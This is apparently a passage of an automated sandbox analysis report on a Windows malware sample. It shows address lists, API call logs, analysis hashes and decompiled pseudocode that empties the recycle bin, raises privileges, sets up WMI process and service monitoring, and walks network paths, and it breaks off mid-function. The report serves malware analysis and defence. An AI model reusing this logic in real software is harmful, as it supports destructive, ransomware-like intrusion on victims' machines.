            0x0136c41b
            0x0136c41e
            0x0136c421
            0x0136c479
            0x0136c47b
            0x0136c485
            0x0136c489
            0x0136c48c
            0x0136c48f
            0x0136c492
            0x0136c496
            0x0136c499
            0x0136c49c
            0x0136c4a0
            0x0136c4a3
            0x0136c47d
            0x0136c47d
            0x0136c480
            0x0136c480
            0x0136c4a6
            0x00000000
            0x0136c423
            0x0136c426
            0x0136c429
            0x0136c42b
            0x0136c42e
            0x0136c431
            0x0136c431
            0x00000000
            0x0136c429
            0x0136c421
            0x0136c3f0
            0x0136c3f3
            0x0136c3f5
            0x00000000
            0x0136c3f5
            0x0136c115
            0x0136c11b
            0x0136c11e
            0x0136c120
            0x0136c123
            0x0136c3d4
            0x0136c3d9
            0x0136c3de
            0x0136c3de
            0x00000000
            0x0136c3d9
            0x0136c129
            0x0136c12c
            0x0136c3c4
            0x0136c3c9
            0x0136c3ce
            0x0136c3ce
            0x00000000
            0x0136c3c9
            0x0136c132
            0x0136c135
            0x0136c3b4
            0x0136c3b9
            0x0136c3be
            0x0136c3be
            0x00000000
            0x0136c3b9
            0x0136c13b
            0x0136c13e
            0x0136c3a4
            0x0136c3a9
            0x0136c3ae
            0x0136c3ae
            0x00000000
            0x0136c3a9
            0x0136c145
            0x0136c148
            0x0136c394
            0x0136c399
            0x0136c39e
            0x0136c39e
            0x00000000
            0x0136c399
            0x0136c151
            0x0136c163
            0x00000000
            0x00000000
            0x0136c169
            0x0136c16a
            0x0136c171
            0x0136c176
            0x0136c17c
            0x00000000
            0x00000000
            0x0136c182
            0x0136c183
            0x0136c18a
            0x0136c18f
            0x0136c195
            0x00000000
            0x00000000
            0x0136c19b
            0x0136c19c
            0x0136c1a3
            0x0136c1a8
            0x0136c1ae
            0x00000000
            0x00000000
            0x0136c1b4
            0x0136c1b5
            0x0136c1bc
            0x0136c1c1
            0x0136c1c7
            0x00000000
            0x00000000
            0x0136c1dd
            0x0136c1ec
            0x0136c1f3
            0x0136c1f7
            0x0136c204
            0x0136c2c4
            0x0136c2c4
            0x0136c2ca
            0x0136c2e8
            0x0136c31b
            0x0136c351
            0x0136c35b
            0x0136c365
            0x0136c371
            0x0136c384
            0x0136c388
            0x0136c38c
            0x0136c30d
            0x0136c30d
            0x00000000
            0x0136c30d
            0x0136c353
            0x00000000
            0x0136c353
            0x0136c31f
            0x0136c326
            0x0136c330
            0x0136c342
            0x0136c346
            0x0136c34a
            0x00000000
            0x0136c321
            0x0136c321
            0x00000000
            0x0136c321
            0x0136c31f
            0x0136c2ec
            0x0136c2f3
            0x0136c303
            0x0136c306
            0x0136c30a
            0x00000000
            0x0136c2ee
            0x0136c2ee
            0x00000000
            0x0136c2ee
            0x0136c2cc
            0x0136c2ce
            0x0136c2d3
            0x0136c2d3
            0x0136c2d6
            0x0136c2d7
            0x0136c2d7
            0x0136c2da
            0x00000000
            0x0136c2da
            0x0136c2ca
            0x0136c212
            0x00000000
            0x00000000
            0x0136c218
            0x0136c219
            0x0136c21f
            0x00000000
            0x00000000
            0x0136c225
            0x0136c226
            0x0136c22c
            0x00000000
            0x00000000
            0x0136c232
            0x0136c233
            0x0136c242
            0x00000000
            0x00000000
            0x0136c248
            0x0136c249
            0x0136c250
            0x0136c255
            0x0136c25b
            0x00000000
            0x00000000
            0x0136c261
            0x0136c262
            0x0136c269
            0x0136c26e
            0x0136c274
            0x00000000
            0x00000000
            0x0136c27a
            0x0136c27b
            0x0136c282
            0x0136c287
            0x0136c28d
            0x00000000
            0x0136c293
            0x0136c2ac
            0x0136c2bb
            0x0136c2c2
            0x00000000
            0x0136c2c2
            0x0136c153
            0x0136c153
            0x00000000
            0x0136c153
            0x0136c151
            0x0136c0fd
            0x0136c0e1

            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID: -
            • API String ID: 0-2547889144
            • Opcode ID: d850105aa0ffa33eff510d97458e5ed7006576094bbd948a84412e4f8df6a645
            • Instruction ID: 62159cbd7653005cd6c157b84e2891e19bbe8d3782eafd5ed9b16dddccdaaa2c
            • Opcode Fuzzy Hash: d850105aa0ffa33eff510d97458e5ed7006576094bbd948a84412e4f8df6a645
            • Instruction Fuzzy Hash: 7682CE71D0024A8FEF25CFACC8847AEBFB8BF05218F58E15AD595A725EC3349552CB90
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E0136569F() {
            				long _v8;
            				WCHAR* _t3;
            				int _t5;
            				WCHAR* _t11;
            
            				_t3 = E01364F5C(0x202);
            				_t11 = _t3;
            				if(_t11 != 0) {
            					_v8 = 0x101;
            					_t5 = GetUserNameW(_t11,  &_v8); // executed
            					if(_t5 == 0) {
            						E01364FA9(_t11);
            						_t11 = 0;
            					}
            					_t3 = _t11;
            				}
            				return _t3;
            			}







            0x013656a9
            0x013656ae
            0x013656b3
            0x013656b8
            0x013656c1
            0x013656c9
            0x013656cc
            0x013656d2
            0x013656d2
            0x013656d4
            0x013656d4
            0x013656da

            APIs
              • Part of subcall function 01364F5C: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,01361548), ref: 01364F71
              • Part of subcall function 01364F5C: GetProcessHeap.KERNEL32(?,01361548), ref: 01364F80
            • GetUserNameW.ADVAPI32(00000000,01361A0E), ref: 013656C1
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Heap$CreateNameProcessUser
            • String ID:
            • API String ID: 499767188-0
            • Opcode ID: 32e9c9fab2b98c8ca85f1388d16d19296ef64414c5f5334470dd3eaddf73f0e4
            • Instruction ID: ad528945ea0ca1e788c4f309260babce552b40d7179a50dbb1e378a042b924a1
            • Opcode Fuzzy Hash: 32e9c9fab2b98c8ca85f1388d16d19296ef64414c5f5334470dd3eaddf73f0e4
            • Instruction Fuzzy Hash: 9DE0CD32A15135B7D624D69CAC0D99FB79CDF12AB8B104266FC04E7148EBD54D0443D5
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 100%
            			E013658D6() {
            				struct _SYSTEM_INFO _v40;
            
            				GetSystemInfo( &_v40); // executed
            				return _v40.dwNumberOfProcessors;
            			}




            0x013658e0
            0x013658ec

            APIs
            • GetSystemInfo.KERNELBASE(?,?,01363793,?,00000000,00000000,01363928,00000000), ref: 013658E0
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: InfoSystem
            • String ID:
            • API String ID: 31276548-0
            • Opcode ID: 719b3bba20d3fa1c7cded3b3046f98e7c97564e52ab2b6f8d0d38b5d2de4cbe0
            • Instruction ID: 942fcf2bb915765e01e00a77a67f7aa1cd0a929aed7ca50ebf42574eec9b01d0
            • Opcode Fuzzy Hash: 719b3bba20d3fa1c7cded3b3046f98e7c97564e52ab2b6f8d0d38b5d2de4cbe0
            • Instruction Fuzzy Hash: 59C04C75D0420D9BCA10EAE5998A89AB7BCAA08255F400591ED19A3204E621E95487A1
            Uniqueness

            Uniqueness Score: -1.00%

            APIs
            • VariantInit.OLEAUT32(?), ref: 01362827
            • VariantInit.OLEAUT32(?), ref: 0136282D
            • VariantInit.OLEAUT32(?), ref: 01362833
            • VariantInit.OLEAUT32(?), ref: 01362839
            • VariantInit.OLEAUT32(?), ref: 0136283F
            • VariantInit.OLEAUT32(?), ref: 01362845
            • VariantInit.OLEAUT32(?), ref: 0136284B
            • lstrcmpiW.KERNEL32(?,Win32_Service,?,TargetInstance,00000000,?,00000000,00000000), ref: 013628E8
            • lstrcmpiW.KERNEL32(?,Running,?,TargetInstance,00000000,?,00000000,00000000), ref: 01362958
            • lstrcmpiW.KERNEL32(?,Win32_Process,?,TargetInstance,00000000,?,00000000,00000000), ref: 0136297A
            • SysAllocString.OLEAUT32(GetOwner), ref: 013629BA
            • VariantClear.OLEAUT32(?), ref: 01362A5C
            • VariantClear.OLEAUT32(?), ref: 01362A66
            • VariantClear.OLEAUT32(?), ref: 01362A70
            • VariantClear.OLEAUT32(?), ref: 01362A7A
            • VariantClear.OLEAUT32(?), ref: 01362A84
            • VariantClear.OLEAUT32(?), ref: 01362A8E
            • VariantClear.OLEAUT32(?), ref: 01362A98
            • SysFreeString.OLEAUT32(00000000), ref: 01362AD0
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Variant$ClearInit$lstrcmpi$String$AllocFree
            • String ID: Domain$GetOwner$Name$Running$State$TargetInstance$User$Win32_Process$Win32_Service$__CLASS$__PATH
            • API String ID: 2218029910-994472446
            • Opcode ID: 71b16e5f18d78a2427380b2f1123593d8e926ef7826b0bc1e0571d0b49bb35a0
            • Instruction ID: bc489c8c3da5208f3c4e28c7ec7a1d651096b4983866e650e33ab0578d1f2072
            • Opcode Fuzzy Hash: 71b16e5f18d78a2427380b2f1123593d8e926ef7826b0bc1e0571d0b49bb35a0
            • Instruction Fuzzy Hash: 28911971A5020AAFEB20DFE5CC49F9E7BBCBF48748F118419F605EB154DAB0E5868B50
            Uniqueness

            Uniqueness Score: -1.00%

            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID: @$__ProviderArchitecture
            • API String ID: 0-691293667
            • Opcode ID: c7c2a10589d2431295a58a443166f331eb28f406c9bc7c24bf2a7af3ef6336d3
            • Instruction ID: 4f54eb15d4c739dd48c3ddeb2c379584a35ffba9caf3efe041abd9dc3bcde779
            • Opcode Fuzzy Hash: c7c2a10589d2431295a58a443166f331eb28f406c9bc7c24bf2a7af3ef6336d3
            • Instruction Fuzzy Hash: F0712A71A40219BBDB20DBE5CC89EEFBBBCFF09754F008155F605EB194D6709A458BA0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 30%
            			E01363D3C() {
            				void* _v8;
            				void* _v12;
            				void* _v16;
            				void* _v20;
            				void* _v24;
            				intOrPtr _v28;
            				short _v30;
            				char _v36;
            				short _v40;
            				char _v60;
            				short _v62;
            				char _v236;
            				short _v238;
            				char _v420;
            				void* _t61;
            				void* _t66;
            				void* _t68;
            				intOrPtr* _t70;
            				void* _t73;
            				intOrPtr _t79;
            				intOrPtr* _t81;
            				intOrPtr* _t83;
            				void* _t94;
            				void* _t100;
            				void* _t101;
            				intOrPtr* _t107;
            				intOrPtr* _t109;
            				intOrPtr* _t111;
            				intOrPtr* _t113;
            				intOrPtr* _t115;
            				intOrPtr* _t120;
            				void* _t125;
            				void* _t131;
            				intOrPtr* _t132;
            				intOrPtr* _t134;
            				intOrPtr* _t137;
            				intOrPtr* _t138;
            				intOrPtr _t144;
            				intOrPtr* _t145;
            				void* _t153;
            				void* _t154;
            				void* _t157;
            				intOrPtr _t160;
            				void* _t162;
            
            				_push(0);
            				_push(0);
            				if( *0x13714a8() >= 0) {
            					 *0x13715e4(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0, _t125); // executed
            					_v12 = 0;
            					_t61 =  *0x137157c(0x136d26c, 0, 1, 0x136d28c,  &_v12); // executed
            					if(_t61 >= 0) {
            						_v8 = 0;
            						E013661FD(0x1370278, 0x51f, 6, 0x14,  &_v60);
            						_v40 = 0;
            						_t66 =  *0x13715cc( &_v60, _t153);
            						_t132 = _v12;
            						_t154 = _t66;
            						_t68 =  *((intOrPtr*)( *_t132 + 0xc))(_t132, _t154, 0, 0, 0, 0, 0, 0,  &_v8);
            						 *0x1371718(_t154);
            						if(_t68 < 0) {
            							L7:
            							_t70 = _v12;
            							 *((intOrPtr*)( *_t70 + 8))(_t70);
            							 *0x1371628();
            							_t73 = 1;
            							L12:
            							L13:
            							return _t73;
            						}
            						_push(0);
            						_push(0);
            						_push(3);
            						_push(3);
            						_push(0);
            						_push(0);
            						_push(0xa);
            						_push(_v8);
            						if( *0x1371678() >= 0) {
            							_v20 = 0;
            							 *0x137157c(0x136d27c, 0, 4, 0x136d22c,  &_v20); // executed
            							_t134 = _v8;
            							 *0x1370060 = _t134;
            							 *((intOrPtr*)( *_t134 + 4))(_t134);
            							_t79 =  *0x1370054; // 0x1370040
            							 *((intOrPtr*)(_t79 + 4))(0x1370054);
            							_t81 = _v20;
            							_v24 = 0;
            							 *((intOrPtr*)( *_t81 + 0xc))(_t81, 0x1370054,  &_v24);
            							_t83 = _v24;
            							_v16 = 0;
            							 *((intOrPtr*)( *_t83))(_t83, 0x136d21c,  &_v16);
            							E013661FD(0x1370278, 0x1ba, 0xc, 6,  &_v36);
            							_v30 = 0;
            							E013661FD(0x1370278, 0x74e, 0x10, 0xae,  &_v236);
            							_v62 = 0;
            							_t160 =  *0x13715cc( &_v36);
            							_v28 = _t160;
            							_t94 =  *0x13715cc( &_v236);
            							_t137 = _v8;
            							_t131 = _t94;
            							 *((intOrPtr*)( *_t137 + 0x5c))(_t137, _t160, _t131, 0x80, 0, _v16);
            							E013661FD(0x1370278, 0xacb, 4, 0xb6,  &_v420);
            							_v238 = 0;
            							_t100 =  *0x13715cc( &_v420);
            							_t138 = _v8;
            							_t157 = _t100;
            							_t101 =  *((intOrPtr*)( *_t138 + 0x5c))(_t138, _t160, _t157, 0x80, 0, _v16);
            							 *0x1371718(_v28);
            							 *0x1371718(_t131);
            							 *0x1371718(_t157);
            							if(_t101 >= 0) {
            								WaitForSingleObject(GetCurrentProcess(), 0xffffffff);
            								_t107 = _v8;
            								 *((intOrPtr*)( *_t107 + 0x10))(_t107, _v16);
            								_t162 = 0;
            							} else {
            								_t162 = 1;
            							}
            							_t109 = _v8;
            							 *((intOrPtr*)( *_t109 + 8))(_t109);
            							_t111 = _v12;
            							 *((intOrPtr*)( *_t111 + 8))(_t111);
            							_t113 = _v20;
            							 *((intOrPtr*)( *_t113 + 8))(_t113);
            							_t115 = _v24;
            							 *((intOrPtr*)( *_t115 + 8))(_t115);
            							_t144 =  *0x1370054; // 0x1370040
            							 *((intOrPtr*)(_t144 + 8))(0x1370054);
            							_t145 = _v16;
            							 *((intOrPtr*)( *_t145 + 8))(_t145);
            							 *0x1371628();
            							_t73 = _t162;
            							goto L12;
            						}
            						_t120 = _v8;
            						 *((intOrPtr*)( *_t120 + 8))(_t120);
            						goto L7;
            					}
            					 *0x1371628();
            					_t73 = 1;
            					goto L13;
            				}
            				return 1;
            			}















































            0x01363d48
            0x01363d49
            0x01363d52
            0x01363d68
            0x01363d71
            0x01363d84
            0x01363d8c
            0x01363d9f
            0x01363db1
            0x01363dbb
            0x01363dc3
            0x01363dc9
            0x01363dcc
            0x01363ddc
            0x01363de2
            0x01363dea
            0x01363e0e
            0x01363e0e
            0x01363e14
            0x01363e17
            0x01363e1d
            0x01363fc0
            0x01363fc1
            0x00000000
            0x01363fc1
            0x01363dee
            0x01363def
            0x01363df0
            0x01363df2
            0x01363df4
            0x01363df5
            0x01363df6
            0x01363df8
            0x01363e03
            0x01363e27
            0x01363e38
            0x01363e3e
            0x01363e41
            0x01363e4a
            0x01363e4d
            0x01363e58
            0x01363e5b
            0x01363e62
            0x01363e69
            0x01363e6c
            0x01363e73
            0x01363e7e
            0x01363e93
            0x01363e9a
            0x01363eb2
            0x01363ebc
            0x01363eca
            0x01363ed3
            0x01363ed6
            0x01363edf
            0x01363ee2
            0x01363eef
            0x01363f0a
            0x01363f14
            0x01363f22
            0x01363f2b
            0x01363f2e
            0x01363f3c
            0x01363f44
            0x01363f4b
            0x01363f52
            0x01363f5a
            0x01363f69
            0x01363f6f
            0x01363f78
            0x01363f7b
            0x01363f5c
            0x01363f5e
            0x01363f5e
            0x01363f7d
            0x01363f83
            0x01363f86
            0x01363f8c
            0x01363f8f
            0x01363f95
            0x01363f98
            0x01363f9e
            0x01363fa1
            0x01363fac
            0x01363faf
            0x01363fb5
            0x01363fb8
            0x01363fbe
            0x00000000
            0x01363fbe
            0x01363e05
            0x01363e0b
            0x00000000
            0x01363e0b
            0x01363d8e
            0x01363d94
            0x00000000
            0x01363d94
            0x00000000

            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID:
            • String ID:
            • API String ID:
            • Opcode ID: ae957b21632ad89bbfbceea7e87da9b1491a512dcf16b7b4ccd58c9a29b709b6
            • Instruction ID: 3bd4d907653698f8fff7191ea85f6c72a37b9a2c12e38ae67385a5d1e1fe8b91
            • Opcode Fuzzy Hash: ae957b21632ad89bbfbceea7e87da9b1491a512dcf16b7b4ccd58c9a29b709b6
            • Instruction Fuzzy Hash: 16815C75A40209AFDB20DFA5CC89E9FBBBCFF49724F104159F50AE7244CA709904CB60
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 59%
            			E01363B6F(void* __ebx, void* __eflags) {
            				char _v8;
            				void* __ecx;
            				void* __edi;
            				void* _t9;
            				WCHAR* _t13;
            				void* _t17;
            				void* _t21;
            				void* _t23;
            				void* _t24;
            				void* _t25;
            				void* _t26;
            				void* _t30;
            				void* _t33;
            				WCHAR* _t34;
            				intOrPtr* _t36;
            				intOrPtr _t39;
            				intOrPtr _t41;
            				intOrPtr _t42;
            				intOrPtr _t43;
            
            				_t23 = __ebx;
            				 *0x137163c(0, 0, 7, _t30, _t33, _t24); // executed
            				SetPriorityClass(GetCurrentProcess(), 0x8000); // executed
            				 *0x1371510();
            				E01362F1A(0);
            				E0136789E(_t24, 0x14); // executed
            				_t25 = 0x80000001;
            				_t39 =  *0x13724d0; // 0x1
            				if(_t39 != 0) {
            					_t17 = CreateThread(0, 0, E01363D3C, 0, 0, 0); // executed
            					E013651FE(_t17); // executed
            					E01363FC9(); // executed
            					 *_t36 = E01362FD4;
            					_push(0);
            					_push(0); // executed
            					E0136590A(); // executed
            					_t36 = _t36 + 0xc;
            					_t21 = CreateThread(0, 0, E01362AE5, 0, 0, 0); // executed
            					E013651FE(_t21);
            					_pop(_t25);
            				}
            				E0136789E(_t25, 9); // executed
            				_pop(_t26); // executed
            				_t9 = E013636AC(); // executed
            				if(_t9 != 0) {
            					_t41 =  *0x13724cc; // 0x0
            					if(_t41 == 0) {
            						E01364CE2();
            						_t42 =  *0x13724cc; // 0x0
            						if(_t42 == 0) {
            							_t43 =  *0x13724b0; // 0x0
            							if(_t43 != 0) {
            								E0136621F(_t26, _t43,  *0x1372418, 0x3b, 0, E01363015);
            							}
            						}
            					}
            				}
            				 *0x1371510(0x80000000);
            				E01361428(_t23);
            				_t13 = E01365503(0,  &_v8);
            				_t34 = _t13;
            				if(_t34 != 0) {
            					MoveFileExW(_t34, 0, 4);
            					_t13 = E01364FA9(_t34);
            				}
            				return _t13;
            			}






















            0x01363b6f
            0x01363b7b
            0x01363b8c
            0x01363b97
            0x01363b9d
            0x01363ba4
            0x01363ba9
            0x01363baa
            0x01363bb0
            0x01363bbc
            0x01363bc3
            0x01363bc8
            0x01363bcd
            0x01363bd4
            0x01363bd5
            0x01363bd6
            0x01363bdb
            0x01363be8
            0x01363bef
            0x01363bf4
            0x01363bf4
            0x01363bf7
            0x01363bfc
            0x01363bfd
            0x01363c04
            0x01363c06
            0x01363c0c
            0x01363c0e
            0x01363c13
            0x01363c19
            0x01363c1b
            0x01363c21
            0x01363c31
            0x01363c36
            0x01363c21
            0x01363c19
            0x01363c0c
            0x01363c3e
            0x01363c44
            0x01363c4e
            0x01363c53
            0x01363c59
            0x01363c5f
            0x01363c66
            0x01363c6b
            0x01363c71

            APIs
            • SHEmptyRecycleBinW.SHELL32(00000000,00000000,00000007), ref: 01363B7B
            • GetCurrentProcess.KERNEL32(00008000,?,?,00000600,?,01364644), ref: 01363B86
            • SetPriorityClass.KERNELBASE(00000000,00008000,?,?,00000600,?,01364644), ref: 01363B8C
            • SetThreadExecutionState.KERNEL32(80000001), ref: 01363B97
              • Part of subcall function 0136789E: RtlAdjustPrivilege.NTDLL(?,00000001,00000001,?), ref: 013678B1
              • Part of subcall function 0136789E: RtlAdjustPrivilege.NTDLL(?,00000001,00000000,00000000), ref: 013678CD
            • CreateThread.KERNELBASE(00000000,00000000,01363D3C,00000000,00000000,00000000), ref: 01363BBC
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
              • Part of subcall function 01363FC9: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000004), ref: 01363FDB
              • Part of subcall function 0136590A: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0136591A
            • CreateThread.KERNELBASE(00000000,00000000,01362AE5,00000000,00000000,00000000), ref: 01363BE8
            • SetThreadExecutionState.KERNEL32(80000000), ref: 01363C3E
            • MoveFileExW.KERNEL32(00000000,00000000,00000004,?,?,00000600,?,01364644), ref: 01363C5F
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Thread$Create$AdjustExecutionPrivilegeState$ClassCloseCurrentEmptyFileHandleManagerMoveOpenPriorityProcessRecycleSnapshotToolhelp32
            • String ID:
            • API String ID: 3048738390-0
            • Opcode ID: 074d0051d96d02233f761ec990aace805880e809e751ebfb5ec35370d5df0d76
            • Instruction ID: 13126ad703bb778490582562b0187f314af4b8ac6bac2d8c2603f78aaa91b11b
            • Opcode Fuzzy Hash: 074d0051d96d02233f761ec990aace805880e809e751ebfb5ec35370d5df0d76
            • Instruction Fuzzy Hash: DE218732444242B6E635376EAC0DE2B3E7CFBD2B5DF14851DF6055504D9E654440D772
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 83%
            			E013636AC() {
            				WCHAR* _v8;
            				intOrPtr _v12;
            				void* _v16;
            				char _v20;
            				char _v24;
            				char _v36;
            				intOrPtr _v40;
            				intOrPtr _v44;
            				WCHAR* _v48;
            				WCHAR* _v52;
            				WCHAR* _v56;
            				WCHAR* _v60;
            				char* _v68;
            				WCHAR* _v72;
            				intOrPtr _v76;
            				intOrPtr _v80;
            				char _v84;
            				WCHAR* _t48;
            				intOrPtr _t51;
            				void* _t53;
            				WCHAR* _t60;
            				WCHAR* _t61;
            				WCHAR* _t65;
            				WCHAR* _t67;
            				intOrPtr _t68;
            				intOrPtr _t83;
            				signed int _t89;
            				intOrPtr* _t91;
            				signed int _t92;
            				WCHAR* _t98;
            				WCHAR* _t104;
            				void* _t107;
            				short _t108;
            				void* _t110;
            				WCHAR* _t111;
            				WCHAR* _t114;
            				void* _t115;
            				void* _t116;
            				WCHAR* _t118;
            
            				_t110 = 1;
            				_t114 = 0;
            				_t118 =  *0x13724cc; // 0x0
            				if(_t118 == 0) {
            					L12:
            					 *0x1371f48 = 0;
            					 *0x1371f4c = 0;
            					 *0x1371f50 = 0;
            					 *0x1371f54 = 0;
            					 *0x1371f44 = 0; // executed
            					_t48 = E01367B80(__eflags,  &_v36, 0, 0, E01363928); // executed
            					_t116 = _t115 + 0x10;
            					__eflags = _t48;
            					if(_t48 == 0) {
            						L2:
            						return 0;
            					}
            					_v84 = 0;
            					_v80 = E01363131;
            					_v76 = E01363CDA;
            					_v72 = 0;
            					_v68 =  &_v36;
            					_v60 = 0;
            					_v56 = 0;
            					_v52 = 0;
            					_v48 = 0;
            					_v44 = E013630FA;
            					_v40 = E01363C72;
            					__eflags =  *0x13724cc; // 0x0
            					if(__eflags == 0) {
            						__eflags =  *0x13724c8; // 0x1
            						if(__eflags != 0) {
            							E01368101(_t92, __eflags,  &_v84); // executed
            							_pop(_t92);
            						}
            						__eflags =  *0x13724c4; // 0x1
            						if(__eflags != 0) {
            							E0136830D(_t92, __eflags,  &_v84);
            						}
            						L27:
            						_t51 =  *0x1371f54; // 0x0
            						__eflags = _t51 - _v48;
            						if(__eflags > 0) {
            							L32:
            							E01367AC3( &_v36, 0x1371f44);
            							__eflags = 0;
            							_t53 = 1;
            							L33:
            							return _t53;
            						}
            						if(__eflags >= 0) {
            							L31:
            							_t51 =  *0x1371f50; // 0x50
            							__eflags = _t51 - _v52;
            							if(_t51 < _v52) {
            								do {
            									goto L29;
            								} while (__eflags < 0);
            								if(__eflags > 0) {
            									goto L32;
            								}
            								goto L31;
            							}
            							goto L32;
            						}
            						L29:
            						E01365BD2(_t51, 0x64);
            						_t51 =  *0x1371f54; // 0x0
            						__eflags = _t51 - _v48;
            					}
            					PathRemoveBackslashW(_t114);
            					_t60 = PathIsDirectoryW(_t114);
            					_push(_t114);
            					__eflags = _t60;
            					if(_t60 == 0) {
            						_t61 = PathIsNetworkPathW();
            						__eflags = _t61;
            						if(_t61 == 0) {
            							goto L2;
            						}
            						_t65 =  *0x1371708(_t114, _t110,  &_v16, 0xffffffff,  &_v8,  &_v24, 0);
            						__eflags = _t65;
            						if(_t65 != 0) {
            							goto L2;
            						}
            						PathAddBackslashW(_t114);
            						_t91 = _v16;
            						_t67 = E01364F5C(0x800);
            						_t98 = _v8;
            						_t111 = _t67;
            						_t68 = 0;
            						_v12 = 0;
            						__eflags = _t98;
            						if(_t98 == 0) {
            							L22:
            							 *0x13716f0(_v16);
            							goto L27;
            						} else {
            							goto L19;
            						}
            						do {
            							L19:
            							__eflags =  *(_t91 + 4) & 0x80000003;
            							if(__eflags == 0) {
            								E013664E0(__eflags, _t111, _t114);
            								PathAddBackslashW(_t111);
            								E013664E0(__eflags, _t111,  *_t91);
            								PathAddBackslashW(_t111);
            								E01367DA1(_t111,  &_v84);
            								E01364FE3(_t111, 0, 0x800);
            								_t98 = _v8;
            								_t116 = _t116 + 0x14;
            								_t68 = _v12;
            							}
            							_t68 = _t68 + 1;
            							_t91 = _t91 + 0xc;
            							_v12 = _t68;
            							__eflags = _t68 - _t98;
            						} while (_t68 < _t98);
            						goto L22;
            					}
            					PathAddBackslashW();
            					E01367DA1(_t114,  &_v84);
            					E01364FA9(_t114);
            					goto L27;
            				}
            				_t112 = E01365220( &_v20);
            				if(_t82 != 0) {
            					__eflags = _v20 - 2;
            					if(_v20 > 2) {
            						_t104 =  *0x13724bc; // 0x0
            						__eflags = _t104;
            						_t83 =  *0x1372498; // 0x0
            						_t107 = 1;
            						_t84 =  !=  ? _t107 : _t83;
            						 *0x1372498 =  !=  ? _t107 : _t83;
            						__eflags =  *0x13724c0; // 0x0
            						if(__eflags == 0) {
            							L7:
            							_t114 = E01364F5C(0x208);
            							__eflags = _t114;
            							if(_t114 == 0) {
            								goto L4;
            							}
            							E013665C2(_t114,  *((intOrPtr*)(_t112 + 8)));
            							E01365212(_t112);
            							_t89 = E0136666B(_t114);
